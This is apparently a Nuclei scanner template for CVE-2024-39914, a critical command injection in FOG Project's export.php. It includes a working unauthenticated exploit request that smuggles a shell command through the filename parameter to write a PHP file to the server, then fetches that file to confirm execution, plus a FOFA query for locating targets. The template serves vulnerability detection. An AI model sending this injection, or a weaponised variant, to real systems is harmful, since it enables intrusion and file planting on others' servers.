FOG Project < 1.5.10.34 - Remote Command Execution

id: CVE-2024-39914

info:
  name: FOG Project < 1.5.10.34 - Remote Command Execution
  author: securityforeveryone
  severity: critical
  description: |
    FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php.
  remediation: Fixed in 1.5.10.34
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39914
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39914
    - https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j
    - https://blog.csdn.net/qq_39894062/article/details/140550009
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-39914
    cwe-id: CWE-77
    epss-score: 0.00043
    epss-percentile: 0.09367
  metadata:
    vendor: fogproject
    product: fogproject
    fofa-query: icon_hash="-1952619005"
  tags: cve,cve2024,rce,fog

variables:
  filename: "{{to_lower(rand_text_alpha(12))}}"
  num: "{{rand_int(1000, 9999)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /management/export.php?filename=$(echo+'<?php+echo+md5({{num}});+?>'+>+{{filename}}.php)&type=pdf HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        fogguiuser=fog&nojson=2

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"No HTML files!","HTMLDOC")'
          - 'contains(content_type, "application/pdf")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /management/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"{{md5(num)}}")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022075ee2c37d4da90160d134db9e8e9df85d9b449f9095211cc0cb9371aac4dcf53022100de284762c25011f52d379931b93129ff859eb86b044cc0954ea631adfb0b4844:922c64590222798bb761d5b6d8e72950